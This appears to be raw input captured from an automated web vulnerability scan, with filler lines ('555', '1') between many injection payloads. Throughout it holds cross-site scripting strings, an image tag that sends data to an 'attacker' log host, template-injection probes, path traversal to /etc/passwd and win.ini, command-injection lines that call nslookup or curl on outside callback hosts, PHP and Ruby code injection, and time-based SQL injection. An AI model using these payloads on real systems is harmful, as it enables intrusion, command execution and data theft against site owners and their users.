%35%35%35%3C%53%63%52%69%50%74%20%3E%7A%34%79%33%289856%29%3C%2F%73%43%72%69%70%54%3E
555
555
555\u003CScRiPt\z4y3(9863)\u003C/sCripT\u003E
555<input autofocus onfocus=Yt49(9247)>
555
555
555<ScRiPt>z4y3(9868)</sCripT>
555
<a HrEF=http://xss.bxss.me></a>
555
555
<a HrEF=jaVaScRiPT:>
555<input autofocus onfocus=z4y3(9742)>
555
555
555}body{acu:Expre/**/SSion(Yt49(9208))}
<a HrEF=http://xss.bxss.me></a>
555
555
555ir9ow <ScRiPt >Yt49(9493)</ScRiPt>
<a HrEF=jaVaScRiPT:>
555
555<WU3QE8>EL4ZS[!+!]</WU3QE8>
555
555}body{acu:Expre/**/SSion(z4y3(9759))}
555
555
555a9Pd0 <ScRiPt >z4y3(9493)</ScRiPt>
555<ifRAme sRc=9718.com></IfRamE>
555
555
555<W33TDR>OW4VA[!+!]</W33TDR>
555<avz5Cgn x=9135>
555
555<ifRAme sRc=9509.com></IfRamE>
555<img sRc='http://attacker-9801/log.php?
555
555<aYWOvTg<
555<arzo0H3 x=9823>
555
555<img sRc='http://attacker-9495/log.php?
555<aIFwUlE<
555'"()&%<acx><ScRiPt >p8Ik(9477)</ScRiPt>
'"()&%<acx><ScRiPt >p8Ik(9209)</ScRiPt>
5559731780
acu3653%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3653
acux5029%C0%BEz1%C0%BCz2a%90bcxuca5029
555
<%={{={@{#{${acx}}%>
555
555
<th:t="${acx}#foreach
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
555'"()&%<acx><ScRiPt >SsOm(9126)</ScRiPt>
555
acx{{98991*97996}}xca
'"()&%<acx><ScRiPt >SsOm(9646)</ScRiPt>
555
acx[[${98991*97996}]]xca
5559821837
555
555
acx__${98991*97996}__::.x
555
acu7337%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7337
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
acux9870%C0%BEz1%C0%BCz2a%90bcxuca9870
555
555<ScRiPt >p8Ik(9744)</ScRiPt>
555
<%={{={@{#{${acx}}%>
555
555<W7OA8C>6UN8P[!+!]</W7OA8C>
<th:t="${acx}#foreach
555
555
555<script>p8Ik(9295)</script>
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
555
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%70%38%49%6B%28%39%39%34%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
acx{{98991*97996}}xca
555
555
555<ScRiPt >p8Ik(9742)</ScRiPt>
555
acx[[${98991*97996}]]xca
555
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9858></ScRiPt>
555
acx__${98991*97996}__::.x
555
555< ScRiPt >p8Ik(9447)</ScRiPt>
555
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
555<ScRiPt >SsOm(9577)</ScRiPt>
555
555
555<WDADYU>VXTGP[!+!]</WDADYU>
555<isindex type=image src=1 onerror=p8Ik(9864)>
555
555
555<script>SsOm(9705)</script>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9500'>
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%53%73%4F%6D%28%39%38%36%32%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555
555<body onload=p8Ik(9461)>
555<ScRiPt >SsOm(9213)</ScRiPt>
555
555<img src=//xss.bxss.me/t/dot.gif onload=p8Ik(9160)>
555
555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9888></ScRiPt>
555<img src=xyz OnErRor=p8Ik(9660)>
555
555
555< ScRiPt >SsOm(9575)</ScRiPt>
555<img/src=">" onerror=alert(9214)>
555
555
555<isindex type=image src=1 onerror=SsOm(9810)>
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%70%38%49%6B%289671%29%3C%2F%73%43%72%69%70%54%3E
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9782'>
555
555\u003CScRiPt\p8Ik(9582)\u003C/sCripT\u003E
555
555<body onload=SsOm(9228)>
555
555
555<ScRiPt>p8Ik(9957)</sCripT>
555
555<img src=//xss.bxss.me/t/dot.gif onload=SsOm(9380)>
555
555
555
555
555<img src=xyz OnErRor=SsOm(9601)>
555<input autofocus onfocus=p8Ik(9977)>
555
555<img/src=">" onerror=alert(9910)>
555
<a HrEF=http://xss.bxss.me></a>
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%53%73%4F%6D%289018%29%3C%2F%73%43%72%69%70%54%3E
<a HrEF=jaVaScRiPT:>
555
555\u003CScRiPt\SsOm(9262)\u003C/sCripT\u003E
555}body{acu:Expre/**/SSion(p8Ik(9388))}
555
555<ScRiPt>SsOm(9821)</sCripT>
555
555FNSs4 <ScRiPt >p8Ik(9916)</ScRiPt>
555
555
555
555<input autofocus onfocus=SsOm(9634)>
555<WX1LAV>ZLLV3[!+!]</WX1LAV>
555
555
<a HrEF=http://xss.bxss.me></a>
555<ifRAme sRc=9318.com></IfRamE>
555
555
555<aj4ZGEg x=9396>
<a HrEF=jaVaScRiPT:>
555<img sRc='http://attacker-9194/log.php?
555
555
555
555}body{acu:Expre/**/SSion(SsOm(9411))}
555
555
555<a7FcLaz<
555HwTA1 <ScRiPt >SsOm(9722)</ScRiPt>
555
555
555<WJL7FF>9YBJU[!+!]</WJL7FF>
555
555
555
555
555<ifRAme sRc=9587.com></IfRamE>
555<asZCyVD x=9953>
555<img sRc='http://attacker-9566/log.php?
555<a24veAQ<
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
6hA5qAH2
Http://bxss.me/t/fit.txt
555
555
response.write(9750561*9560720)
555
'+response.write(9750561*9560720)+'
http://bxss.me/t/fit.txt%3F.jpg
vk2hsiqU: 3P9FXFl9
555
555
"+response.write(9750561*9560720)+"
/etc/shells
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
c:/windows/win.ini
../../../../../../../../../../../../../../etc/passwd
555
555
xfs.bxss.me
555
bxss.me
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
file:///etc/passwd
555
555
555
555
555
555
555
555
../555
555
555
555
555
555
555
555
555
555
555
555
555
)
555
555
555
555
!(()&&!|*|*|
555
555
555
555
555
555
^(#$!@#$)(()))******
555
555
555
555
555
'.gethostbyname(lc('hitmh'.'lyfrlwyo793d5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(70).chr(115).chr(68).'
555
555
555
555
555
".gethostbyname(lc("hitvb"."hcfueime44026.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(71).chr(113).chr(82)."
555
555
555
555
gethostbyname(lc('hittj'.'mdbgaqfu0cae1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(73).chr(113).chr(71)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo aawpuq$()\ zffmpq\nz^xyu||a #' &echo aawpuq$()\ zffmpq\nz^xyu||a #|" &echo aawpuq$()\ zffmpq\nz^xyu||a #
555
555
555
555
555
555
555
&echo zqrbrp$()\ eoebci\nz^xyu||a #' &echo zqrbrp$()\ eoebci\nz^xyu||a #|" &echo zqrbrp$()\ eoebci\nz^xyu||a #
555
555
555
555&echo lzoibx$()\ bsiuvz\nz^xyu||a #' &echo lzoibx$()\ bsiuvz\nz^xyu||a #|" &echo lzoibx$()\ bsiuvz\nz^xyu||a #
555
555
555
555
555
555
|echo qsdmnr$()\ cebuqf\nz^xyu||a #' |echo qsdmnr$()\ cebuqf\nz^xyu||a #|" |echo qsdmnr$()\ cebuqf\nz^xyu||a #
555
555
555
555
555
555
555
555
555|echo agpiqg$()\ tugpit\nz^xyu||a #' |echo agpiqg$()\ tugpit\nz^xyu||a #|" |echo agpiqg$()\ tugpit\nz^xyu||a #
555
555
555
555
555
(nslookup -q=cname hitipxzardveuec3d4.bxss.me||curl hitipxzardveuec3d4.bxss.me))
555
555
555
555
555
555
555
$(nslookup -q=cname hitfaoanibfdx14f38.bxss.me||curl hitfaoanibfdx14f38.bxss.me)
555
555
555
'"
&nslookup -q=cname hitfzwvgabiejc1ea2.bxss.me&'\"`0&nslookup -q=cname hitfzwvgabiejc1ea2.bxss.me&`'
555
555
555
555
555
&(nslookup -q=cname hitwkxwzjtqtif7c04.bxss.me||curl hitwkxwzjtqtif7c04.bxss.me)&'\"`0&(nslookup -q=cname hitwkxwzjtqtif7c04.bxss.me||curl hitwkxwzjtqtif7c04.bxss.me)&`'
<!--
|(nslookup -q=cname hitgepzvvhubo07991.bxss.me||curl hitgepzvvhubo07991.bxss.me)
'"()
555
555
555
555
555
`(nslookup -q=cname hitzpggwtxqyxb7121.bxss.me||curl hitzpggwtxqyxb7121.bxss.me)`
555'&&sleep(27*1000)*mthuay&&'
HttP://bxss.me/t/xss.html?%00
555
555
;(nslookup -q=cname hitbnzwnuwzhsa7cc4.bxss.me||curl hitbnzwnuwzhsa7cc4.bxss.me)|(nslookup -q=cname hitbnzwnuwzhsa7cc4.bxss.me||curl hitbnzwnuwzhsa7cc4.bxss.me)&(nslookup -q=cname hitbnzwnuwzhsa7cc4.bxss.me||curl hitbnzwnuwzhsa7cc4.bxss.me)
bxss.me/t/xss.html?%00
555"&&sleep(27*1000)*xuzarg&&"
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitzjussareft82b3c.bxss.me||curl${IFS}hitzjussareft82b3c.bxss.me)
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitygakzvawsf27d14.bxss.me||curl${IFS}hitygakzvawsf27d14.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitygakzvawsf27d14.bxss.me||curl${IFS}hitygakzvawsf27d14.bxss.me)&`'
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
"+"A".concat(70-3).concat(22*4).concat(119).concat(66).concat(119).concat(66)+(require"socket" Socket.gethostbyname("hitdo"+"twwhgeas4154e.bxss.me.")[3].to_s)+"
';print(md5(31337));$a='
555
555'||sleep(27*1000)*hsipkq||'
555
'+'A'.concat(70-3).concat(22*4).concat(97).concat(82).concat(100).concat(90)+(require'socket' Socket.gethostbyname('hitpq'+'nisojvmx82ecd.bxss.me.')[3].to_s)+'
555
555"||sleep(27*1000)*lylhnw||"
555
555
'A'.concat(70-3).concat(22*4).concat(111).concat(77).concat(106).concat(76)+(require'socket' Socket.gethostbyname('hitti'+'ofpglmpkffbe4.bxss.me.')[3].to_s)
555
";print(md5(31337));$a="
555
555
555
555
${@print(md5(31337))}
555
555
555
555
555
555
555
${@print(md5(31337))}\
555
555
555
'.print(md5(31337)).'
555
555
555
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
print(md5(31337));//
555
555
555
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
${9999777+9999931}
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
555
555
file:///etc/passwd
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
../555
555
555
Http://bxss.me/t/fit.txt
555
555
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
/etc/shells
555
response.write(9191442*9817805)
555
555
../../../../../../../../../../../../../../etc/shells
555
555
'+response.write(9191442*9817805)+'
555
555
555
c:/windows/win.ini
555
"+response.write(9191442*9817805)+"
555
555
555
bxss.me
555
555
555
555
555
555
mkjhLEyV
555
555
555
555
555
555
ns4z1TdU: 1dbfg6tC
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)
555
555
555
555
555
!(()&&!|*|*|
555
555
555
^(#$!@#$)(()))******
555
echo idfurp$()\ dvstqs\nz^xyu||a #' &echo idfurp$()\ dvstqs\nz^xyu||a #|" &echo idfurp$()\ dvstqs\nz^xyu||a #
555
555
555
555
555
&echo rdsuof$()\ izaxwt\nz^xyu||a #' &echo rdsuof$()\ izaxwt\nz^xyu||a #|" &echo rdsuof$()\ izaxwt\nz^xyu||a #
'.gethostbyname(lc('hitka'.'tibtgiqt8b883.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(90).chr(107).chr(76).'
'"
555
555&echo ibydtu$()\ azubfl\nz^xyu||a #' &echo ibydtu$()\ azubfl\nz^xyu||a #|" &echo ibydtu$()\ azubfl\nz^xyu||a #
".gethostbyname(lc("hitjy"."dujllnfp2c05e.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(78).chr(110).chr(71)."
|echo hcvmla$()\ rpmzmv\nz^xyu||a #' |echo hcvmla$()\ rpmzmv\nz^xyu||a #|" |echo hcvmla$()\ rpmzmv\nz^xyu||a #
555
555
<!--
555
555|echo jwvjlv$()\ snpmej\nz^xyu||a #' |echo jwvjlv$()\ snpmej\nz^xyu||a #|" |echo jwvjlv$()\ snpmej\nz^xyu||a #
555
555
gethostbyname(lc('hittr'.'eqmrebeg7b298.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(66).chr(120).chr(88)
555
555
(nslookup -q=cname hitxgantaktte322f0.bxss.me||curl hitxgantaktte322f0.bxss.me))
555
555
555
$(nslookup -q=cname hitbidlbouizb515c2.bxss.me||curl hitbidlbouizb515c2.bxss.me)
555
555
&nslookup -q=cname hitzwqeztrgiv2659e.bxss.me&'\"`0&nslookup -q=cname hitzwqeztrgiv2659e.bxss.me&`'
555
555
555
555
555
555
&(nslookup -q=cname hitcncwkmrqgvced27.bxss.me||curl hitcncwkmrqgvced27.bxss.me)&'\"`0&(nslookup -q=cname hitcncwkmrqgvced27.bxss.me||curl hitcncwkmrqgvced27.bxss.me)&`'
555
555
555
555
555
|(nslookup -q=cname hitgsvlephvyd210aa.bxss.me||curl hitgsvlephvyd210aa.bxss.me)
555
555
555
555
555
555
`(nslookup -q=cname hitczqsewkkncffe64.bxss.me||curl hitczqsewkkncffe64.bxss.me)`
555
555
555
;(nslookup -q=cname hitzbwudjdesy56330.bxss.me||curl hitzbwudjdesy56330.bxss.me)|(nslookup -q=cname hitzbwudjdesy56330.bxss.me||curl hitzbwudjdesy56330.bxss.me)&(nslookup -q=cname hitzbwudjdesy56330.bxss.me||curl hitzbwudjdesy56330.bxss.me)
555
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitgoydfbkxezd0d51.bxss.me||curl${IFS}hitgoydfbkxezd0d51.bxss.me)
555
555
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitfpkeyksuqofc0b3.bxss.me||curl${IFS}hitfpkeyksuqofc0b3.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitfpkeyksuqofc0b3.bxss.me||curl${IFS}hitfpkeyksuqofc0b3.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
'"()
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
bxss.me/t/xss.html?%00
555'&&sleep(27*1000)*acchqw&&'
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555"&&sleep(27*1000)*zxfdno&&"
555
';print(md5(31337));$a='
555'||sleep(27*1000)*zxkvqf||'
555
"+"A".concat(70-3).concat(22*4).concat(104).concat(73).concat(118).concat(72)+(require"socket" Socket.gethostbyname("hitcf"+"qtwyesru38a01.bxss.me.")[3].to_s)+"
555
";print(md5(31337));$a="
555"||sleep(27*1000)*fcenvp||"
555
555
${@print(md5(31337))}
'+'A'.concat(70-3).concat(22*4).concat(115).concat(78).concat(110).concat(83)+(require'socket' Socket.gethostbyname('hitdx'+'fsdaiouad1dfb.bxss.me.')[3].to_s)+'
555
555
555
555
${@print(md5(31337))}\
'A'.concat(70-3).concat(22*4).concat(104).concat(71).concat(122).concat(86)+(require'socket' Socket.gethostbyname('hittl'+'vjdnwhqyaf309.bxss.me.')[3].to_s)
'.print(md5(31337)).'
555
555
555
555
555
555
1
555
<?php print(md5(31337));?>
555
1
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
{php}print(md5(31337));{/php}
555
555
555
[php]print(md5(31337));[/php]
555
555
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
555
555
1
555
555
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
555
555
1
555
555
555
1
555
1
555
555
1
1
555
555
1
1
555
555
555
1
1
555
555
555
1
555
555
555
555
555
555
555
555
555
555
1
555
555
555
555
1
555
555
1
1
1
555
555
1
1
555
555
1
1
1
1
1
555
555
1
1
1
555
1
1
555
1
1
1
1
1
1
555
1
1
1
1
1
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555-1; waitfor delay '0:0:15' --
555
555
555-1); waitfor delay '0:0:15' --
555
555
555-1 waitfor delay '0:0:15' --
555
555G5FiXJfg'; waitfor delay '0:0:15' --
555
555-1 OR 994=(SELECT 994 FROM PG_SLEEP(15))--
555*if(now()=sysdate(),sleep(15),0)
555-1) OR 243=(SELECT 243 FROM PG_SLEEP(15))--
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555-1)) OR 580=(SELECT 580 FROM PG_SLEEP(15))--
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555iQ1dYMMq' OR 478=(SELECT 478 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555HUcNmVnS') OR 237=(SELECT 237 FROM PG_SLEEP(15))--
555-1; waitfor delay '0:0:15' --
55512bJMdfs')) OR 239=(SELECT 239 FROM PG_SLEEP(15))--
555-1); waitfor delay '0:0:15' --
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555-1 waitfor delay '0:0:15' --
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@z7W3A
555DbxIyN3H'; waitfor delay '0:0:15' --
555
555-1 OR 680=(SELECT 680 FROM PG_SLEEP(15))--
555
555-1) OR 26=(SELECT 26 FROM PG_SLEEP(15))--
555-1)) OR 842=(SELECT 842 FROM PG_SLEEP(15))--
555ifdqbH5Y' OR 726=(SELECT 726 FROM PG_SLEEP(15))--
555xWSRgq35') OR 321=(SELECT 321 FROM PG_SLEEP(15))--
555fsRK60jV')) OR 712=(SELECT 712 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@pZx61
555
1
555
1
1
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
1
555
555
1
555
555
1
555
555
1
555
555
555
555
1
555
555
1
555
555
1
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
${9999422+9999558}
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9533670*9191046)
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
'+response.write(9533670*9191046)+'
555
../../../../../../../../../../../../../../windows/win.ini
"+response.write(9533670*9191046)+"
555
555
file:///etc/passwd
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
8B4QuvWb
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
Http://bxss.me/t/fit.txt
6zwSC1jw: YkHQ28F0
../555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
/etc/shells
555
555
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
c:/windows/win.ini
555
555
bxss.me
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
)
555
555
555
555
555
555
!(()&&!|*|*|
555
555
^(#$!@#$)(()))******
555
555
echo crpbxo$()\ pxsyae\nz^xyu||a #' &echo crpbxo$()\ pxsyae\nz^xyu||a #|" &echo crpbxo$()\ pxsyae\nz^xyu||a #
555
555
&echo ngwimc$()\ dubflg\nz^xyu||a #' &echo ngwimc$()\ dubflg\nz^xyu||a #|" &echo ngwimc$()\ dubflg\nz^xyu||a #
555
555&echo fbyndp$()\ fgtolb\nz^xyu||a #' &echo fbyndp$()\ fgtolb\nz^xyu||a #|" &echo fbyndp$()\ fgtolb\nz^xyu||a #
555
555
555
555
|echo vzurhm$()\ xxwzlk\nz^xyu||a #' |echo vzurhm$()\ xxwzlk\nz^xyu||a #|" |echo vzurhm$()\ xxwzlk\nz^xyu||a #
555
555
555
555
555|echo nceesb$()\ cwqtni\nz^xyu||a #' |echo nceesb$()\ cwqtni\nz^xyu||a #|" |echo nceesb$()\ cwqtni\nz^xyu||a #
555
555
555
'.gethostbyname(lc('hitxu'.'hkzfxkcg8459d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(69).chr(115).chr(89).'
(nslookup -q=cname hitbhxtjvabmze1bf2.bxss.me||curl hitbhxtjvabmze1bf2.bxss.me))
".gethostbyname(lc("hitfy"."waakxadg7b78f.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(87).chr(108).chr(79)."
555
555
555
555
555
$(nslookup -q=cname hitncvfhfxcjs3331f.bxss.me||curl hitncvfhfxcjs3331f.bxss.me)
gethostbyname(lc('hiteh'.'lunkdgox2b863.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(87).chr(114).chr(78)
555
555
555
&nslookup -q=cname hitwfkjcesrwr47b34.bxss.me&'\"`0&nslookup -q=cname hitwfkjcesrwr47b34.bxss.me&`'
555
555
&(nslookup -q=cname hitensjlsacrka358d.bxss.me||curl hitensjlsacrka358d.bxss.me)&'\"`0&(nslookup -q=cname hitensjlsacrka358d.bxss.me||curl hitensjlsacrka358d.bxss.me)&`'
555
555
|(nslookup -q=cname hitabidcynwxk697fd.bxss.me||curl hitabidcynwxk697fd.bxss.me)
555
555
555
`(nslookup -q=cname hitpubyytcnrgb6f5d.bxss.me||curl hitpubyytcnrgb6f5d.bxss.me)`
555
;(nslookup -q=cname hithsuuqfetvoa3914.bxss.me||curl hithsuuqfetvoa3914.bxss.me)|(nslookup -q=cname hithsuuqfetvoa3914.bxss.me||curl hithsuuqfetvoa3914.bxss.me)&(nslookup -q=cname hithsuuqfetvoa3914.bxss.me||curl hithsuuqfetvoa3914.bxss.me)
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitwztpvrwjms187bd.bxss.me||curl${IFS}hitwztpvrwjms187bd.bxss.me)
555
'"()
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitylpkvfindgeb1a6.bxss.me||curl${IFS}hitylpkvfindgeb1a6.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitylpkvfindgeb1a6.bxss.me||curl${IFS}hitylpkvfindgeb1a6.bxss.me)&`'
555
555
555
555
555'&&sleep(27*1000)*sguxhg&&'
555
555
555
555
555
555"&&sleep(27*1000)*pfpmph&&"
'"
HttP://bxss.me/t/xss.html?%00
555
<!--
555
555'||sleep(27*1000)*epuanv||'
bxss.me/t/xss.html?%00
555
555"||sleep(27*1000)*lhlblh||"
555
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(110).concat(81).concat(105).concat(71)+(require"socket" Socket.gethostbyname("hitfb"+"wrrikggzee38a.bxss.me.")[3].to_s)+"
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(108).concat(70).concat(101).concat(81)+(require'socket' Socket.gethostbyname('hitla'+'qhcqxmpn4a113.bxss.me.')[3].to_s)+'
555
555
555
555
'A'.concat(70-3).concat(22*4).concat(113).concat(86).concat(108).concat(72)+(require'socket' Socket.gethostbyname('hitpd'+'qkwcdenwa1617.bxss.me.')[3].to_s)
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
555
';print(md5(31337));$a='
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
";print(md5(31337));$a="
555
555
555
555
${@print(md5(31337))}
555
555
555
555
555
${@print(md5(31337))}\
555
555
'.print(md5(31337)).'
555
555
555
555
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
555
555
print(md5(31337));//
555
{php}print(md5(31337));{/php}
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555bQE7wLxV'; waitfor delay '0:0:15' --
555-1 OR 551=(SELECT 551 FROM PG_SLEEP(15))--
555-1) OR 452=(SELECT 452 FROM PG_SLEEP(15))--
555-1)) OR 120=(SELECT 120 FROM PG_SLEEP(15))--
555AaDZ8ftc' OR 341=(SELECT 341 FROM PG_SLEEP(15))--
555hxJ6egE2') OR 626=(SELECT 626 FROM PG_SLEEP(15))--
555rJHwK61h')) OR 683=(SELECT 683 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@AnM7T
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
${10000403+9999651}
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
/etc/shells
../../../../../../../../../../../../../../etc/shells
c:/windows/win.ini
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
555
../555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9737262*9407029)
'+response.write(9737262*9407029)+'
"+response.write(9737262*9407029)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo kdllud$()\ crzwuv\nz^xyu||a #' &echo kdllud$()\ crzwuv\nz^xyu||a #|" &echo kdllud$()\ crzwuv\nz^xyu||a #
&echo eiizfx$()\ rvinoq\nz^xyu||a #' &echo eiizfx$()\ rvinoq\nz^xyu||a #|" &echo eiizfx$()\ rvinoq\nz^xyu||a #
